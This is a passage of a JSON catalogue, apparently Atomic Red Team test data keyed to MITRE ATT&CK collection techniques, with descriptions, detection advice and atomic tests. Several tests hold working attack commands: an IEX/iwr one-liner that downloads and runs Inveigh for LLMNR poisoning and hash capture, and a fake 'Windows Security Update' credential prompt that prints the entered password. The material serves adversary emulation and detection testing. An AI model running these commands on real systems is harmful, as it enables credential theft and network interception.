computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e. [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\u2019s DHCP allocation pool. ",
- "modified": "2022-04-18T19:59:22.916Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "DHCP Spoofing",
- "x_mitre_detection": "Monitor network traffic for suspicious/malicious behavior involving DHCP, such as changes in DNS and/or gateway parameters. Additionally, monitor Windows logs for Event IDs (EIDs) 1341, 1342, 1020 and 1063, which specify that the IP allocations are low or have run out; these EIDs may indicate a denial of service attack.(Citation: dhcp_serv_op_events)(Citation: solution_monitor_dhcp_scopes)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Application Log: Application Log Content",
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1557.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Eric Kuehn, Secure Ideas",
- "Matthew Demaske, Adaptforward"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e",
- "type": "attack-pattern",
- "created": "2020-02-11T19:08:51.677Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1557.001",
- "url": "https://attack.mitre.org/techniques/T1557/001"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution",
- "description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.",
- "source_name": "Wikipedia LLMNR"
- },
- {
- "url": "https://technet.microsoft.com/library/cc958811.aspx",
- "description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.",
- "source_name": "TechNet NetBIOS"
- },
- {
- "source_name": "byt3bl33d3r NTLM Relaying",
- "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html",
- "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019."
- },
- {
- "source_name": "Secure Ideas SMB Relay",
- "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html",
- "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019."
- },
- {
- "url": "https://github.com/nomex/nbnspoof",
- "description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.",
- "source_name": "GitHub NBNSpoof"
- },
- {
- "url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response",
- "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.",
- "source_name": "Rapid7 LLMNR Spoofer"
- },
- {
- "url": "https://github.com/SpiderLabs/Responder",
- "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
- "source_name": "GitHub Responder"
- },
- {
- "url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning",
- "description": "Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.",
- "source_name": "Sternsecurity LLMNR-NBTNS"
- },
- {
- "url": "https://github.com/Kevin-Robertson/Conveigh",
- "description": "Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.",
- "source_name": "GitHub Conveigh"
- }
- ],
- "modified": "2021-09-28T13:09:50.809Z",
- "name": "Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay",
- "description": "By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "Monitor HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient
for changes to the \"EnableMulticast\" DWORD value. A value of \u201c0\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Windows Registry: Windows Registry Key Modification",
- "Network Traffic: Network Traffic Content",
- "Service: Service Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1557.001"
- },
- "atomic_tests": [
- {
- "name": "LLMNR Poisoning with Inveigh (PowerShell)",
- "auto_generated_guid": "deecd55f-afe0-4a62-9fba-4d1ba2deb321",
- "description": "Inveigh conducts spoofing attacks and hash/credential captures through both packet sniffing and protocol specific listeners/sockets. This Atomic will run continuously until you cancel it or it times out.",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/82be2377ade47a4e325217b4144878a59595e750/Inveigh.ps1\" -UseBasicParsing)\nInvoke-Inveigh -ConsoleOutput Y -NBNS Y -MDNS Y -HTTPS Y -PROXY Y",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1056.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e",
- "type": "attack-pattern",
- "created": "2020-02-11T18:59:50.058Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1056.003",
- "url": "https://attack.mitre.org/techniques/T1056/003"
- },
- {
- "external_id": "CAPEC-569",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/569.html"
- },
- {
- "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/",
- "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.",
- "source_name": "Volexity Virtual Private Keylogging"
- }
- ],
- "modified": "2020-03-24T21:16:16.580Z",
- "name": "Web Portal Capture",
- "description": "Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "File monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification"
- ],
- "x_mitre_system_requirements": [
- "An externally facing login portal is configured."
- ]
- },
- "atomic_tests": []
- },
- "T1125": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:37.917Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1125",
- "external_id": "T1125"
- },
- {
- "external_id": "CAPEC-634",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/634.html"
- },
- {
- "url": "https://objective-see.com/blog/blog_0x25.html",
- "description": "Patrick Wardle. (n.d.). Retrieved March 20, 2018.",
- "source_name": "objective-see 2017 review"
- }
- ],
- "modified": "2022-03-15T20:06:04.793Z",
- "name": "Video Capture",
- "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1125"
- },
- "atomic_tests": [
- {
- "name": "Registry artefact when application use webcam",
- "auto_generated_guid": "6581e4a7-42e3-43c5-a0d2-5a0d62f9702a",
- "description": "[can-you-track-processes-accessing-the-camera-and-microphone](https://svch0st.medium.com/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072)\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\webcam\\NonPackaged\\C:#Windows#Temp#atomic.exe /v LastUsedTimeStart /t REG_BINARY /d a273b6f07104d601 /f\nreg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\webcam\\NonPackaged\\C:#Windows#Temp#atomic.exe /v LastUsedTimeStop /t REG_BINARY /d 96ef514b7204d601 /f\n",
- "cleanup_command": "reg DELETE HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\webcam\\NonPackaged\\C:#Windows#Temp#atomic.exe /f\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1213.001": {
- "technique": {
- "x_mitre_platforms": [
- "SaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc",
- "type": "attack-pattern",
- "created": "2020-02-14T13:09:51.004Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1213.001",
- "url": "https://attack.mitre.org/techniques/T1213/001"
- },
- {
- "url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html",
- "description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.",
- "source_name": "Atlassian Confluence Logging"
- }
- ],
- "modified": "2021-06-08T17:08:08.386Z",
- "name": "Confluence",
- "description": "\nAdversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nUser access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Logon Session: Logon Session Creation",
- "Application Log: Application Log Content"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1114.003": {
- "technique": {
- "x_mitre_platforms": [
- "Office 365",
- "Windows",
- "Google Workspace",
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Microsoft Security",
- "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0",
- "type": "attack-pattern",
- "created": "2020-02-19T18:54:47.103Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1114.003",
- "url": "https://attack.mitre.org/techniques/T1114/003"
- },
- {
- "source_name": "US-CERT TA18-068A 2018",
- "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A",
- "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019."
- },
- {
- "source_name": "Pfammatter - Hidden Inbox Rules",
- "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/",
- "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021."
- },
- {
- "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.",
- "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/",
- "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2"
- },
- {
- "source_name": "Mac Forwarding Rules",
- "url": "https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac",
- "description": "Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021."
- }
- ],
- "modified": "2021-10-15T20:19:33.416Z",
- "name": "Email Collection: Email Forwarding Rule",
- "description": "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Application Log: Application Log Content"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1114.003"
- },
- "atomic_tests": []
- },
- "T1074": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "IaaS",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian",
- "Shane Tully, @securitygypsy"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:58.938Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1074",
- "url": "https://attack.mitre.org/techniques/T1074"
- },
- {
- "source_name": "PWC Cloud Hopper April 2017",
- "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.",
- "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf"
- },
- {
- "source_name": "Mandiant M-Trends 2020",
- "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020",
- "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."
- }
- ],
- "modified": "2022-01-10T22:19:56.116Z",
- "name": "Data Staged",
- "description": "Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nAdversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nConsider monitoring accesses and modifications to storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.",
- "x_mitre_version": "1.4",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Creation",
- "Windows Registry: Windows Registry Key Modification",
- "File: File Access",
- "Command: Command Execution"
- ]
- },
- "atomic_tests": []
- },
- "T1056.002": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Windows",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Matthew Molyett, @s1air, Cisco Talos"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d",
- "type": "attack-pattern",
- "created": "2020-02-11T18:58:45.908Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1056.002",
- "url": "https://attack.mitre.org/techniques/T1056/002"
- },
- {
- "external_id": "CAPEC-659",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/659.html"
- },
- {
- "url": "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html",
- "description": "Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.",
- "source_name": "OSX Malware Exploits MacKeeper"
- },
- {
- "source_name": "LogRhythm Do You Trust Oct 2014",
- "url": "https://logrhythm.com/blog/do-you-trust-your-computer/",
- "description": "Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018."
- },
- {
- "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
- "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
- "source_name": "OSX Keydnap malware"
- },
- {
- "source_name": "Spoofing credential dialogs",
- "url": "https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/",
- "description": "Johann Rehberger. (2021, April 18). Spoofing credential dialogs on macOS Linux and Windows. Retrieved August 19, 2021."
- },
- {
- "source_name": "Enigma Phishing for Credentials Jan 2015",
- "url": "https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/",
- "description": "Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018."
- }
- ],
- "modified": "2022-03-08T21:05:20.136Z",
- "name": "Input Capture: GUI Input Capture",
- "description": "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) \n\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Script: Script Execution",
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1056.002"
- },
- "atomic_tests": [
- {
- "name": "PowerShell - Prompt User for Password",
- "auto_generated_guid": "2b162bfd-0928-4d4c-9ec3-4d9f88374b52",
- "description": "Prompt User for Password (Local Phishing) as seen in Stitch RAT. Upon execution, a window will appear for the user to enter their credentials.\n\nReference: https://github.com/nathanlopez/Stitch/blob/master/PyLib/askpass.py\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "# Creates GUI to prompt for password. Expect long pause before prompt is available. \n$cred = $host.UI.PromptForCredential('Windows Security Update', '',[Environment]::UserName, [Environment]::UserDomainName)\n# Using write-warning to allow message to show on console as echo and other similar commands are not visable from the Invoke-AtomicTest framework.\nwrite-warning $cred.GetNetworkCredential().Password\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1039": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:41.022Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1039",
- "url": "https://attack.mitre.org/techniques/T1039"
- },
- {
- "external_id": "CAPEC-639",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/639.html"
- }
- ],
- "modified": "2020-03-24T15:42:44.026Z",
- "name": "Data from Network Shared Drive",
